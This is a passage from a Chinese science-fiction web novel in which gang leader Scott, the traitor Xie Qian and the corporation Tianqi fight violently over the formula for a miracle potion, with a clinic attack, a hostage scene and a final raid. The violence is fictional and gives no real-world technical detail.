“不信的话，你一试就知道了！哪个假货能有那么强的效力！” 话音刚落，他便感觉头皮剧痛，一只粗壮的大手一把狠狠揪住了他的头发，向后使劲儿一拽，强迫他抬起了头。 斯科特那张阴沉的面孔一下子怼到了谢谦面前，森冷的双眼如淬冰凌。 “那么强的效力？你以为我没试过吗？它连个D级哨兵的精神力都稳不住！”斯科特的咆哮声震得谢谦耳膜生疼，“帮里的药剂师也专门测试过，这些药剂的效力还不到‘蓝眼泪’的十分之一！你当我是傻子？！” 谢谦的瞳孔剧烈收缩。不可能！他明明亲身尝试过那种只是触到管壁就会被净化的力量，怎么可能是假的？！ “不可能的！我试过的！”谢谦不相信地摇着头，试图解释。 “啪！” 斯科特大手一挥，一管闪烁着奇异蓝色流光的试管，便被摔碎在了谢谦面前。“不是假的？你现在就给我舔干净！告诉我！这就是你嘴里远超‘蓝眼泪’效力的神药？！” 谢谦愣愣看着摔碎在自己身前，几乎感受不到一丝药力的药剂，怔愣出神。突然，像是想到了什么，眼睛瞬间睁大。 “是夏因和他养的那个狗崽子！一定是他们动了手脚！”他面色大变，挣扎着喊道，“一定是他搞得鬼！他要报复我！他是故意的！老大，再给我一次机会，我去把夏因抓来，他肯定知道——” “够了！”斯科特冷冷打断他，手一抬，一条黑色拘禁带扣上了他的脖子。 大手一挥，一把甩开了他的脑袋，转身对心腹下令，“把他捆起来，严刑拷打！再问不出来，明天就把他交给罗恩。” 谢谦如坠冰窟。 * 第二日，天启生命大厦，会客厅。 斯科特带着几名属下，鱼贯进入了会客厅，最后一人踏入门内的瞬间，厚重的金属门在身后轰然闭合，几人身上一重，会客厅中一道看不见的磁场发动了起来，精神力被压制在体内难以控制。 下属正要暴起，打头的斯科特抬手一压，众人压抑下不适感，安静了下来。 全息投影的蓝光在长桌尽头亮起，罗恩的脸浮现在空气中，往日里笑眯眯的亲热不在，镜片后的眼睛冷得像淬了毒的刀。 “你们来了，”罗恩甚至没给斯科特开口的机会，“药剂和配方呢？” 斯科特的手指在桌面下捏得发白，脸上却扯出一个狞笑：“我们根本就没拿到那东西，不过，人我给你带来了。” 他抬手一挥，身后的两名手下，拖着一个血肉模糊的人形走上前来，抬手一扔，把手中的人影像扔垃圾一样丢在地上。 谢谦的脖子上，黑色的拘禁圈勒出了一圈血印，双手被特制合金镣铐锁死，黑红的凝固血痕，遮住了他原本还能算得上温柔和善的容貌，显得狰狞恐怖，只有那双充血的眼睛还死死睁着，狠狠瞪向斯科特。 “你们没有拿到？”罗恩一声轻笑，投影出来的手指在虚空中点向斯科特的额头，“你以为我没有查过？” 会议室前方突然亮起画面，一座精致优雅的会客厅中，一名高大哨兵喝下一杯蓝色液体的画面映入了众人的眼帘。 所有人眼看着画面中的哨兵，从被吸引，到抢过杯子一口气喝下，而后剧烈反应，最后在沉迷中清醒过来。任谁看到这幅画面也无法说这是假的。 “当初那个小子拿给肖恩的，就是这个药剂，这还仅仅是半滴稀释了的药剂的效果！”罗恩的声音骤然拔高，“而谢谦，夺走了剩下所有的整整五支！” 众人看着画面中，拿在江寻手中，闪烁着梦幻星空蓝色的奇异药剂，哑口无言，实在说不出这与谢谦交上来的药剂有什么不同。 看着会客厅中众人的表情，罗恩的声音骤然低沉了下来：“斯科特，你以为丢一个替罪羊出来，就能把真的药剂和配方隐瞒下来吗？” 斯科特的瞳孔骤缩，猛地踹翻椅子，翻滚的合金椅在谢谦背上砸出一声沉闷的声响。 “说！你把真货藏到哪里了？！” 谢谦重伤之下，又被重物狠狠砸上脊背，当即吐出一口带着碎屑的血来：“老大……我真的没掉包……” “斯科特，演过了，就没意思了！”罗恩的投影突然逼近，虚拟影像穿透空气，直直逼到斯科特面前：“看在以往的情分上，我给你最后一次机会，交出药剂和配方！否则，我们能把血狼帮捧起来，就能让你们狠狠摔下去！” 空气凝固，两人的目光隔空撞击着，气氛一触即发。 “嗤！” 斯科特阴沉的面孔突然露出一股狞笑，一把拔出腰间的脉冲手枪，一枪打碎了前方的全息投影仪。 “那就来看看，谁赢谁输吧！” * “咚——咚——” 夜深人静，一队巡逻兵排着队从大街上走过，街上空无一人，连路边的建筑里也尽数黑漆漆一片。 “砰嗵！” 一层之隔的地下通道里，一个一身血腥的身影狼狈地坠入了地下恶臭的水沟里。 “咕嘟咕嘟——” 一连串气泡从水底冒了出来，一个人影猛然破开黑暗的水面，艰难地爬上了岸边。 那人影带着一身的血迹与恶臭，蜷缩着趴伏在地上半天，才积蓄起了一点儿力气，翻身躺倒了下来。 谢谦“赫赫”呼吸着，断裂的肋骨让他的每次呼吸都如刀割般痛苦。 脖子上的拘禁圈已经不见了踪影，同时不见的，还有环绕脖子的一圈皮肉。 在斯科特与天启彻底翻脸之后，他便被丢回了帮派地牢里。 趁着所有人都开始备战，他才靠着以前的一点情分，从地牢之中逃了出来。 现在，天启生命的人在找他，血狼帮的人也在找他，连城主府派出的巡逻队都比平时多了三倍。 穷途末路！ 谢谦的眼睛涨红，眸中闪烁着彻骨的仇恨与疯狂！ “斯科特！” 此时此刻，他终于开始为当年的选择后悔。 当年他若是带着夏因自立门户，如今，他堂堂一个B级哨兵，怎么可能会如此轻易就被他人舍弃，成为一枚弃子！ 不过，还没结束！ 他舔着开裂的嘴唇，喃喃自语，指甲带着血迹，沉沉抠进黏腻潮湿的墙壁之中。 “夏因……” 那个药剂绝对是真实存在的！只要能抓住夏因，或者拿到配方，他就还有活路！ 谢谦的目光投向黑暗的地下道，借着黯淡的星光，辨认一下方向，蹒跚着向前方走了过去—— 作者有话说：一更来也~ 第88章 时近午夜， 夏因的诊所中却还亮着灯。 窗外响起淅淅沥沥的雨声，一扇损坏的窗户还没来得及修好，在噼里啪啦坠下的雨滴中， 被打得发出一阵密集的鼓点。 夏因拉起了窗帘， 挡住外间吹进来的寒风， 在门厅里坐下，揭开了江寻后脑上的纱布。 “还好，伤口已经结痂了。” 夏因吐出口气， 为他重新换了药， 绑上了新的绷带。 在医院住了几天，伤势都稳定了下来，两人便在白天搬回了诊所。 好几天没回来，诊所还保持着受袭那天的一片狼藉，两人收拾了一个晚上，这会儿才腾出了地方坐下来休息。 夏因刚把手头的药水绷带收了起来， 坐下喘了口气。 突然， 像是听到动静， 江寻的耳朵动了动，手掌搭上夏因的手臂， 轻轻一捏。 夏因看到江寻的样子，手顿了顿， 正要下意识转头，下一瞬， 旁侧玻璃窗上的雨痕忽然扭曲起来。 “砰——！” 整面窗户被剧烈的冲击炸裂，化为无数锋锐利刃，向着二人飚飞过来。 江寻双眼一厉，搭在夏因胳膊上的手掌瞬时一收， 把夏因拉到了自己怀里。接着整个人向后一窜，躲入沙发靠背的阴影里，利用沙发挡住了第一波袭击。 随着无数玻璃碎片砸落在地面上的声响，一个黑影裹挟着屋外的雨水与寒风，一个纵身扑进了屋来，五指成爪，直指躲藏在沙发后的二人。 下一刻，江寻拢着夏因的那只手一松一扬，便把夏因抛了出去，自己合身迎上了黑影的突袭。 “砰！”一声闷响，两只手臂交叉碰撞在了一起，清明的黑瞳对上了布满血丝的狰狞双目。 “兔崽子，我早就应该杀了你！” 谢谦的声音嘶哑，语气阴狠，字字蕴着刻骨的仇恨。 下一瞬，排山巨力冲着江寻的面门碾压下来。 谢谦布满血丝的双眼中，燃烧着疯狂之火，那碾压而下的力量，带着不计后果的凶悍，即使整个人身受重伤，狼狈至极，也远超江寻的极限。 江寻只觉得双臂剧震，臂骨“咯吱”一声，发出不堪重负的呻吟，脚下踏足的坚实地板瞬间龟裂开来，整个人被这股巨力硬生生压得“砰”一声单膝跪地！ “呃！”从手臂上蔓延上来的剧痛，让江寻从喉咙口挤出一声痛吟。 但他透过双臂交叉的空隙，露出的眼眸里，却无一丝退缩之意，在单膝跪地的瞬间，腰腹猛地发力一转，被压制住的双臂骤然一翻，带着谢谦的单臂向侧面一卸一绞。 谢谦被这一下拉扯得瞬间失去了重心，向前半倒下去，江寻的右腿抓住这个机会，狠狠曲起，向上狠狠撞向谢谦的腹部！ 一声闷哼，全身最脆弱的内脏部位骤然受到大力攻击，剧痛令谢谦对抗中的力量出现了一丝凝滞。 江寻马上抓住了这丝破绽，再次乘胜追击，脚尖一弹，便凶猛地蹬了过去。 但谢谦也不是吃素的，长久的战斗经验，让他在被击中的第一下，身体就下意识地调整了姿势，江寻的小腿刚刚提起，便灵敏地侧身避让了过去。 强力的蹬击在毫厘间擦着他的腰侧掠过，带起的劲风刮过腰间的伤口，刚刚止血的血口，马上又崩裂了开来。 一击落空，江寻丝毫没有停留，左脚一点，整个人猛地向后一滚，与谢谦拉开了距离。 半跪在地板上，急促地喘息着，双臂仍在微微颤抖，眼神却死死地锁住了谢谦。 直到这时，落在最后的夏因才看清了来袭人的面目，“啊！”一声惊叫出声。 “谢谦！” 夏因的声音因惊骇而变了调，那张在玻璃碎片和雨水冲刷下扭曲的脸，正是天启、血狼、城主府三方都遍寻不得的谢谦！ 谢谦对夏因的惊呼置若罔闻。 此刻，他的全部注意力，都死死钉在面前居然能伤到他的江寻身上。腰侧伤口中蜿蜒留下的鲜血，带来一阵剧痛，让他本就濒临失控的理智快速走向崩溃。 “碍事的东西！” 谢谦嘶吼一声，被江寻格开的手臂猛地回抽，翻转手肘，如毒蝎摆尾，带着凌厉的破风声，狠狠砸向江寻的太阳穴！ 江寻瞳孔骤缩，这一下攻击力度十足，若是被击中砸实，一定非死即伤！ 千钧一发之际，江寻的身体再次扭动下滑，以一个及其别扭的角度向后仰起，同时膝盖再次闪电般提起，挡在面前，“砰！”一声，挡住了谢谦这搏命一击！ “嘭！” 谢谦击出的手肘，重重砸在江寻的膝骨上。沉闷的撞击声令人牙酸。 一瞬间，江寻只觉得膝盖像是被庞然铁锤砸中，整条右腿瞬间麻木，巨大的冲击力让他本就单膝跪地的姿势彻底失衡，整个人向后翻滚出去，“砰”地撞在翻倒的诊疗柜上，碎片四溅。 撞击的巨响如同炸雷，在充斥着雨声的诊所内回荡。 江寻的背脊狠狠撞击在背后的金属柜上，把整个柜子都砸得凹陷了下去。剧痛让他眼前一黑，喉头瞬间涌上一股腥甜。 但他甚至来不及痛呼，强烈的危机感便已震颤了他的脑海。 谢谦根本不给江寻丝毫喘息的机会！ 他无视腰间浸透衣物的血渍与疼痛，整个人如同一道影子，紧随着江寻倒飞而出的身影扑杀了过去！ 那双赤红的眼睛里，溢满了贪婪与仇恨，目标直指倒在了地上的江寻！ “去死吧——！” 谢谦嘶吼出声，拳头裹挟着全身的力量，如重锤般轰向江寻的头颅！ “江寻！”夏因尖叫出声。 生死一瞬间！江寻瞳孔骤然缩小，猛地偏头蜷起身子，将已经受伤的右臂拼命顶上去！ “砰——咔嚓！” 两臂再次相撞在一起，沉闷的撞击，伴随着骨裂声响，让江寻的右臂瞬间失去了知觉。 “呃啊——！”江寻痛呼出声，双目一狠，大腿却再次如毒蛇般弹出，狠狠向前，踹中谢谦前腿膝盖！ 谢谦猝不及防之下，膝盖剧痛，身体一歪踉跄几步。 这一下，让谢谦更加愤怒起来！ 他原本以为自己这次突袭，十拿九稳，却屡次被江寻打断，愤怒令力量沸腾，理智消退！ 猛地再次抬脚，凝聚起力量，狠狠跺向江寻胸膛！ 变生肘腋之间，江寻就已经面临生死危机！ 千钧一发之际！ “砰！砰！砰！” 诊所外突然爆出一阵密集的枪响！ 炽热的子弹撕裂了雨幕，目标直射谢谦周身要害！ 致命的危机让谢谦汗毛倒竖！ 他硬生生地止住了下跺的力道，身体以不可思议的柔韧，向着侧面翻滚过去！ 一声低吼，狼狈地扑进视觉死角。 下一刻，密集的子弹洪流来袭，弹壳撞击在金属台面上，爆出一溜儿火花飞溅。 江寻骤然转危为安，强忍着身上的剧痛，猛地向后一滚，脱离了对方的攻击范围，身子一扭，同样滚到了夏因躲藏着的药柜后面。 不浪费一点儿空隙，江寻大口喘息起来，眼睛死死盯着谢谦藏身的地方。 谢谦的意图被突如其来的第三者火力打断，心中气怒至极！枪林弹雨的压迫与江寻的阻挠，像毒蛇般一口一口噬咬着他濒临崩溃的神经。 一发狠，眼中血光暴涨开来，发出一声凄厉的咆哮！ 双手向下，死死抓住沉重实验台的边缘，伤痕遍布的手臂上青筋暴起！ “喝啊——！” 巨大的实验台竟被他以蛮力生生掀起，呼啸着砸向门外正在聚集起来的卫兵！ “闪开！” 一声大吼，人群瞬间散开，火力网一滞！ 下一刹那，谢谦的速度爆发到极致，身形如鬼魅般几步跨过遥远的距离，大手如钢钳般，直指站在侧后方的夏因！ “夏因！” 江寻目眦欲裂！左腿猛蹬地面，整个人如炮弹般，撞向谢谦冲刺的路线，以身做盾挡在了夏因面前！ 谢谦的进攻再次被阻，愤怒如熊熊燃烧的火焰，彻底烧红了他的双眼！ 他的速度再快一分，脚下一蹬，借力急转，瞬间绕到江寻身后，铁钳般的大手往前一伸，死死扼住江寻的咽喉！ “都别动！” 谢谦的咆哮声如同走投无路的野兽，举着江寻当做肉盾紧紧挡在自己身前，赤红双眼扫视一圈正在举枪围上来的士兵们。 “谁敢开枪！我先拧断他的脖子！”手指收紧，江寻喉头一动，剧烈地咳呛声响彻大厅。 “江寻——！” 夏因只觉眼前一黑一亮，致命危机便换了人，看着面前被高高举起，已然进气多出气少的江寻，声音慌乱眼泪瞬间奔涌而出。 “不！别杀他！你要什么？我都给你！” “配方！给我真正的‘星穹之泪’的配方！” 谢谦几乎已经失去了理智，可心底的执念让他果断地提出了自己的要求。 “好好好！我给你！你放下他！” 夏因不敢迟疑，踉跄着小跑几步，走到墙角半开的保险柜前，颤抖着输入密码。 而后，柜门“咔哒”一声被打开，一本旧旧的笔记本映入众人眼帘。 谢谦眼中精光大盛！一把抓过那个破旧的本子，塞进怀里。 “放人！”夏因嘶声叫道。 “呵呵——”，谢谦一手探进怀里死死按住本子，扼住江寻喉咙的手不松。 扫视众人一圈，猛地将脱力的江寻，狠狠推向旁边翻倒下去的铁架，支出的尖锐断口上！ “给你！” 夏因惊呼一声，下意识扑过去，救下江寻！ 下一瞬，嘶哑的大笑声响彻整个诊所。 谢谦如鬼魅般，再次撞破窗口合身向外一跃，几个起落，整个人便彻底消失在外间的漆黑雨夜之中，只余疯狂嘶哑的大笑声，渐渐被雨声吞没—— 作者有话说：又一天极限DDL赶稿_（：з」∠）_[化了] 第89章 暴雨在自由城中肆虐， 头顶锈蚀的穹顶管道上，被砸出“啪啪啪”的连绵鼓点。 湿冷的空气里，弥漫着铁锈和什么东西腐败的酸味， 如今， 这股难闻的味道里， 还混入了一股血腥恶臭。 谢谦整个人形容狼狈地蜷缩在东区污水处理厂最深处的泄洪阀室里，紧抱在怀里的旧笔记本，被他痉挛的手指攥出几道深刻的折痕。 他睁大了双眼， 借着外间微弱的星光， 把笔记本上记录着的字迹一点一点刻入脑海，神情随着翻阅愈见癫狂。 直至颤抖着的手指翻过了笔记本的最后一页，终于克制不住，从喉咙深处一点点溢出一阵歇斯底里地狂笑！ “是我的！最后，这一切还是我的！” 谢谦口中不住地喃喃自语，血红的双目中迸射出无尽的贪婪欲望。 眼眸中各种情绪来回翻涌起来， 终于， 像是下定了什么决心， 他的目光倏然明亮起来，从怀中掏出随手抢来的终端， 拨通了一个熟悉的号码。 几声鸣响之后，通讯那头被接通了起来。 没等对方说话， 谢谦直接了当地开了口： “斯科特，我是谢谦！” * 斯科特带着手下踏入破败的污水处理厂时， 挂在天边的主星还没有闪耀起光辉来。 雨水哗啦啦地泼洒下来，在众人纷乱的鞋面上炸开、碎裂，再汇成一股浑浊的细流，沿着鞋帮的纹路淌下， 混入满地黑泥污秽之中，再也分不清彼此。 一进大门，众人便看到了那个直挺挺伫立在阴影之中的人影，六名荷枪实弹的护卫当即呈扇形散开，齐齐举起手中的枪械，把枪口锁定在对面的人影身上。 斯科特慢一步走上前来，顶灯“咔嚓”一声打开，昏暗闪烁的灯光，被雨水切割得支离破碎，映出谢谦半张狰狞红肿的面孔。 “呵！你的胆子倒是大，居然敢主动联系我？”斯科特上下打量一番谢谦，嗤笑出声。 “斯科特，不用说废话试探我，”谢谦拉起一个冰冷的笑，“跟了你这么多年了，你了解我，我也了解你！” 斯科特面上的笑意慢慢隐没下去，眯起眼睛盯着谢谦，过了一会儿，直接向前摊开掌心：“东西呢？” 谢谦当着斯科特的面，从怀里掏出那个还带着温热体温的笔记本，对着他高高一扬，又快速从头到尾翻动了一遍。 看着那写满了字迹的笔记，斯科特眼睛一亮，眼睛快速对着谢谦一斜，身后的六名护卫当即脚下一踏就要上前。 却见站在对面的谢谦，嘴角挂起一丝奇异的笑容，单手一扬，那本珍贵的笔记本便如缺翼的蝴蝶般被他向着身后丢了过去。 “谢谦！” 斯科特眼睛一瞪怒喝出声，脚下一踏，B级哨兵的体魄在瞬间爆发开来，张开手掌就要去抓住那跌落的笔记本。 可这哪里还来得及，那笔记本在空中飘飞了一段路程之后，便直直跌落了下去，彻底消失在脚下那片墨绿色的污水漩涡里。 “你！”斯科特只来得及奔至栏杆边，眼睁睁地看着那白色笔记在水波中翻飞了一下，便被卷了下去，彻底消失了踪影。 “别着急嘛，老大，”谢谦也转过了身来，笑着看向怒瞪向他的斯科特，“本子没了，”谢谦伸出食指，敲敲自己的太阳穴，“可配方还在呢！” “你真是好样的！”斯科特怒极反笑，凛冽地目光刺向谢谦，像是淬了毒。 “哪里，都是老大教得好啊！”谢谦低下头，笑了一声，眼眸中却充满了讥讽嘲弄。 “现在，我们能好好说话了吗？”谢谦转过身去，丝毫不在意身后直指着他的枪口，打开身后的房门，对着斯科特伸手一引。 事已至此，斯科特迅速冷静了下来，对着身后的下属一挥手，便跟着谢谦走进了狭窄的房间里。 * 及至两人在外间一众人凝视的目光中出得房间，主星的清辉已经映照得整个污水厂一片亮堂堂。 “老大，我就不送了，您到时候把材料派人送过来就成，我就在这里等你。”谢谦又恢复了那副笑眯眯的模样，若是不看他浑身的狼狈，几乎与他在血狼帮中最得意时一模一样。 “不过我听过天启那边，可是已经有总部的指示下发下来了，”谢谦语气轻缓地补充道：“你们什么时候能用上这‘星穹之泪’，可就看你的速度了！” 斯科特的眼角抽动了一下，深深看了一眼谢谦，阴沉说道：“你要的登陆舰会在你交货的时候给你，一半的药剂，然后留下配方消失！” 谢谦嘴角的微笑更大了：“没问题！” * 这个夜晚，不止是斯科特谢谦几人在行动，整个天启生命集团也因为一条来自启明星总部的消息动了起来。 自由城中的风波还是传到了集团总部，面对着这种疑似动摇到集团根本的新型药物，集团的决议也以前所未有的速度下达了下来。 不惜一切代价捣毁可能存在的所有药剂与配方！ 于是，夜仍深沉，无数人却在匆忙中聚集在了灯火通明的天启大厦之中。 天启生命大厦，战术指挥厅。 全息沙盘上，整个自由城的微缩模型被划分成一层一层的光网，用各种颜色分隔开来。而代表着血狼帮总部的那一片，已经被一片鲜红色笼罩。 “一小队扫描确认，B2至B5片区内，未发现可疑目标。二小队确认，C1片区威胁已排除，正在前往C2片区……” “五小队发现疑似目标人物，正在追踪……” 端坐在沙盘前的几个操作员，不停地根据耳机中得到的信息，变更着沙盘上的实时势力分布图，高大的战术组长，站在几人身后，看着面前飞快变动中的沙盘，不停地调整着命令。 罗恩没有看沙盘，他擦拭着手中的战术手套，声音像淬冰的刀：“总公司最高指令：不惜一切代价，彻底捣毁所有可能存在的药剂与有关配方。所有药剂、原料、生产设备、敌对关联人员……全部抹除。” “全部作战小队随时待命，以最快速度找到斯科特与谢谦后，即刻抹杀！” * 时隔一天，江寻又重新回到了中央医院中。 好在经过一番检查之后，虽然身上从右臂到膝盖，多了好几处骨折、骨裂的外伤，内脏、脑部这种要命的地方却都无恙，总体的伤势甚至比上一次还要轻。 像这样骨骼上的伤势，对于如今的医疗水平来说，已经和擦伤磕碰类的一样，属于轻微伤了。 在喝下医生开具的几种药剂，又经过了纳米机器人的治疗之后，江寻连固定药泥都不用打，就被放出了医院。 可这一次，他们没有再回诊所，而是直接被城主府的人接了过去，接受全面的保护。 城主府指挥室中，江寻见到了志得意满坐于上首的城主霍明德。对方也一改往日的威严深沉，一见到他进门便哈哈大笑着站起身迎了上来。 “哈哈哈！这次辛苦江寻你了！天启那边终于下了死命令，对斯科特动手了！不过暂时要委屈你们在我这里呆一段时间了，等整件事结束，我会向天启那边说明这个‘星穹之泪’的问题，到时候，你们是走还是留，都不会再有人为难你们了！” “多谢城主！”江寻丝毫没有居功的样子，开口先是对城主道了谢：“我们哪里委屈？能得到城主府的保护，才是让我们松了一口气！不然天启那边一定会第一时间先清理掉我们了！” 霍明德对于江寻的上道也十分满意，再加上如今情势大好，多年夙愿实现在即，不由心情大好，拉着江寻就走到了指挥室中间，听着各方传来的实时消息。 “天启生命已冻结血狼帮所有供给路线，行动小队正在向血狼总部集结……” “在东区附近发现血狼帮两位堂主踪迹，正在追踪……” “十五分钟前在明堂街附近发现血狼斯科特踪迹，情报组正在追踪……” “哈！斯科特现在就是在作困兽之斗，蹦跶不了几天了！”霍明德哈哈大笑：“你说，我们要不要现在就动手，提前送他一程？” “城主，俗话说，瘦死的骆驼比马大，”江寻劝道：“斯科特在自由城里经营多年，私下里不知还藏了些什么。即使如今陷入穷途，挣扎起来恐怕也扎手得很。再加上他本身实力惊人，麾下又集结了不少哨兵，这么早就入场，恐怕会给天启那边做了探路兵。还是等他们双方斗得差不多了，我们再去收拾残局最好。” “也对，”霍明德一想，也歇下了急迫的心思，“到了如今的境地，他们的败退已经是必然，我实在不用担着风险着急出动，反正最急的也不是我们！” 又看一眼江寻，拍了拍他的肩膀：“真不错！困扰了我多年的事，这回就这么被你一举解决了！我身边就缺你这样的年轻人，你真的不考虑留下来帮我吗？” 江寻闻言赶忙回道：“都是城主的信任与支持，事情才能这么顺利，我只是赶了个巧恰逢其会而已。况且中央星那边，还有亲人等我团聚，实在不好留下，只能辜负城主的心意了。” 霍明德也是心情好，随口这么一说，见江寻推辞也便作罢。 “你放心！等此事毕，我一定会履行我的承诺送你去中央星。若是夏医生想一起，我也破例准许你们同去。” 江寻一听，彻底放下心来。 “多谢城主！”—— 作者有话说：一更~ 第90章 一整个白天的时间里， 自由城中四处燃火，枪声嘶吼不断。 普通的民众纷纷龟缩在家里，不敢在这个节骨眼上出门溜达， 测试自己的运气。 沙盘上， 一片又一片区域， 慢慢变成绿色。街道上，到处都是残肢鲜血，弹坑断壁。 位于地下的巨大的反应釜， 也在这时如同垂死的巨兽， 不断发出嗡鸣震颤，加入了这首末日的交响乐中。 谢谦佝偻着身子，站在布满仪表盘的操作台前，布满化学灼痕的手指悬在一支真空密封的滴管上方。管尖凝聚的幽蓝色液滴将落未落，映入他血丝密布的眼中。 他的余光瞥向身边或凝视着他，或焦躁地对着对讲机狂吼的人——斯科特明面上派来送原料， 实际来监视着他的人。 “B区沦陷！他们用了热熔切割弹！老大正带着剩余的兄弟往D区转移！”那对讲机中的声音焦躁而急切， 中间还夹杂着滋滋啦啦的刺耳锐鸣， 明显是受到了什么干扰，“啊……该死的！又有人疯了！干掉他！” 一阵碰撞声后， 信号戛然而止。 “啊——！”拿着对讲机的那名壮汉双目通红地瞪向谢谦，疤痕虬结的脸在顶灯的映照下如同恶鬼：“你这个狗娘养的到底还要多久！兄弟们已经撑不住了！我们需要补给！需要药剂！” 谢谦的指尖稳如磐石， 滴管纹丝不动。 “要么闭嘴，”他的声音嘶哑， 带着股诡异的平静，“要么等着这批药制作失败，我们全都死在这里！” “操！”壮汉的指关节被捏得爆响，独眼里翻涌着杀意， 恨怒地举起手里的手枪对准了谢谦，又在下一刻，把这股怨怒压制了下去，猛地向着旁边一挥手，“砰砰砰砰”地打在旁边的铁桶上，爆出一片火花。 谢谦咧开嘴角，不带笑意地看了眼身边无能狂怒的壮汉，舔了舔嘴唇，再次把注意力集中在了手中的滴管上。 当那滴神秘幽蓝终于挣脱管尖，坠入下方真空瓶的瞬间。 “噼——滋——！” 所有顶灯在一声尖锐的噪音中，应声爆裂！ 应急红灯当即泼洒而下，将所有人的脸庞，映得一片血红，如同地狱中爬出的恶鬼！ 头顶，有刺耳的金属撕裂声骤然传来！ “敌袭！”一名护卫嘶吼出声，身边所有血狼帮人，猛得端起了手中的枪械，向着头顶抬头看去。 谢谦眼底掠过一丝狂喜。 正是时候！机会！ 他猛地拧开放置在一堆瓶瓶罐罐中的一支安瓿瓶，瓶中的粘稠深褐色液体，在接触到空气的刹那瞬间汽化，化为带着辛辣气味的棕色浓雾轰然炸开！ 这浓雾也不知是何作用，身边围绕着他的众多护卫们，一被这浓雾触碰，便纷纷扼住喉咙，踉踉跄跄地栽倒了下去。 就是现在！ 谢谦一把抓过刚才还小心翼翼对待的真空瓶，身子如鬼魅般从倒下的一众躯体间一掠而过，手指成爪，便要去抓那放置在中间的反应釜！ “砰！” 震耳欲聋的枪声在封闭的地下空间中炸裂，谢谦左肩猛地爆开一团血花，巨大的冲击力带着他，狠狠撞上冰冷的反应釜外壳！ “呃啊——！” 伴着谢谦的痛呼，棕色浓雾渐散，从一边的入口中，一步步踏出一个染着硝烟的身影来——血狼斯科特！ “我就知道你这种货色，能背叛我第一次，就有第二次、第三次！”斯科特高举着的枪口还冒着硝烟，一步一步踩在谢谦心间，越走越近。 谢谦滑落在地，捂住左肩，冷眼看向斯科特：“你又能好到哪里去？你就没想过让我活下去吧？” 斯科特冷笑一声，并不回答。只是对着谢谦，再次移动了枪口。 可这一次，对着枪口，谢谦却一点儿害怕的意思都没有，反而咧开染血的嘴角，露出个癫狂的笑，猛得撕开了自己的外衣。 看似平常的衣服下面，密密麻麻的乳白色塑性炸药捆满胸膛！ “我的心跳一停，炸药就会爆炸，顺便告诉你，你脚下站着的地方，也铺满了一样的炸药，你敢开枪吗？” 斯科特的脚步被这突如其来的意外，生生钉在原地，他的瞳孔缩成针尖大小，枪口微微低下去，呼吸一下子重了起来。 两人一站一坐，在血红的应急灯光的闪烁下，死死对视，浓雾在他们之间翻涌着，气氛如同绷紧到极限的弓弦。 “轰——！” 一声巨响打破了两人之间的凝滞。 巨大的冲击波随后而至，将整排整齐排列着的维修梯撕成麻花！主通道方向，厚重的防爆闸门如同被巨锤击中的饼干般向内爆裂、扭曲、轰然倒塌！ “净化程序启动！” 冰冷的电子音通过扩音器响彻整个地下空间，“所有人员，放弃抵抗！即刻投降！” 硝烟浓雾之中，一排十二名，全身覆盖哑光黑色重型外骨骼的战士，踏着闸门的残骸冲着二人直接冲了过来。 肩头扛着的脉冲炮充能的低频嗡鸣，如同死神的呼吸，猩红的瞄准激光束，游移了一下，便瞬间锁定了在平台上僵持着的两人！ “天启！” 斯科特的眼睛瞬间被暴怒和痛苦染红，短短一天时间，他的心腹、兄弟、手下纷纷横死，连总部都在一个小时前被突袭而来的重装战士摧毁殆尽，他十几年来经营着的事业，瞬间化为泡影！ 斯科特大吼一声，声音中满是暴怒与最后的绝望，枪口猛地调转向入口：“天启的杂种——！” 一见情势有变，谢谦果断趁机翻滚向旁边，身子还未立起，染血的手指已经抓向了三米外仍然继续着反应的低温反应釜！ 谢谦的手指，几乎就要触碰到那冰凉的金属外壳，指尖甚至已经能感受到其内部药剂反应的微弱嗡鸣。 “砰！” 又一声枪声响起，一颗高速旋转的穿|甲弹，精准地打在谢谦指尖前方的反应釜上。 “不——！”谢谦目眦欲裂地看着那颗几乎要在空气中划出火花的子弹，就那么直直打在了反应釜上。弹头在外壳上急速旋转着被压扁，下一刻，子弹彻底破开外壁，钻了进去。 反应釜在一晃之后，翻滚歪斜了下来，内里的液体在强烈的撞击下哗哗作响，而后，顺着被撕裂开来的口子，泼洒了出来，将地面染成一片梦幻的蓝。 “我的‘星穹之泪’——！” 谢谦疯狂扑了过去，试图用手堵住缺口。 可紧接着，密集的弹雨铺天盖地地向着他的方向压了过来，谢谦再顾不得已经倒下的反应釜，一个扭身团团缩起，躲入了旁边机器的阴影之下。 然而，他并不是这波弹雨的第一攻击目标。 一见他躲藏了起来，弹雨马上改换了方向，向着散布在这片空间中的血狼帮残余人员泼洒了过去。 只听一阵“噗嗤！”“呃啊！”的闷哼与惨叫声，站在最前方的几个壮汉甚至来不及反应，整个人便如同被重锤击中，身上穿着的防弹衣，更是如同纸糊般被轻易撕裂开来。血花在他们的胸口、额头上轰然爆开！ 他们的动作瞬间僵直，带着难以置信的表情重重栽倒，手中的武器哐当一声坠落在了地上。 斯科特双目赤红，如同真正的困兽。 看着弹雨在消灭掉前方的心腹下属之后，再次调整了方向，向着他身边的最后几个心腹射了过来，一股前所未有的绝望和暴怒瞬间吞噬了他。 他发出一声惨烈到极致的狂笑，那笑声中再无暴怒，只剩下无尽的疯狂和毁灭欲。 “哈哈哈哈哈……好！好得很！都想要老子死是吧？！兄弟们！到最后了，药剂也完了，那就让这帮天启的杂碎看看我们真正力量吧！” 斯科特话毕，踏前一步，丢掉了手上的手枪，双臂向前撑在地上，吼出一声充满着痛苦的大喝。 下一刻，一排骨刺猛得从他的脊背上破皮而出，迅速升高伸展开来。 一层透明鳞片在痛苦的嘶吼声中，覆上了斯科特浑身的皮肤，又在下一刻，在空气中一抖，完全化为青黑色。 他的头颅像是被什么压住了一般使劲儿低垂了下去，头发从下往上开始脱落下来。四肢在一阵鼓胀之后，化为四条粗短的兽足，轰的一声，踩踏在地面上。 整个人在极短的时间内，快速转变为一只巨大的冷血凶兽，双眼中再不见丝毫清明，一声长嚎，便向着天启战士扑杀了过去。 跟在他后面的几人，看了眼已经完全漏出，渗入地面的药剂，互相看了眼，像是下定了什么决心。 下一刻，空气中精神场一阵波动，从中浮现出数只形态各异的野兽来。 几人最后抚摸了一下面前的精神体，带着它们一起向着那十二个战士的方向冲了过去。 眼见斯科特几人纷纷唤出了最后的精神体，与天启的外骨骼战士战在了一起，谢谦强忍着肩膀碎裂的剧痛，利用反应釜巨大的基座作为掩体，拼命向平台边缘一处看似不起眼的检修口爬了过去。 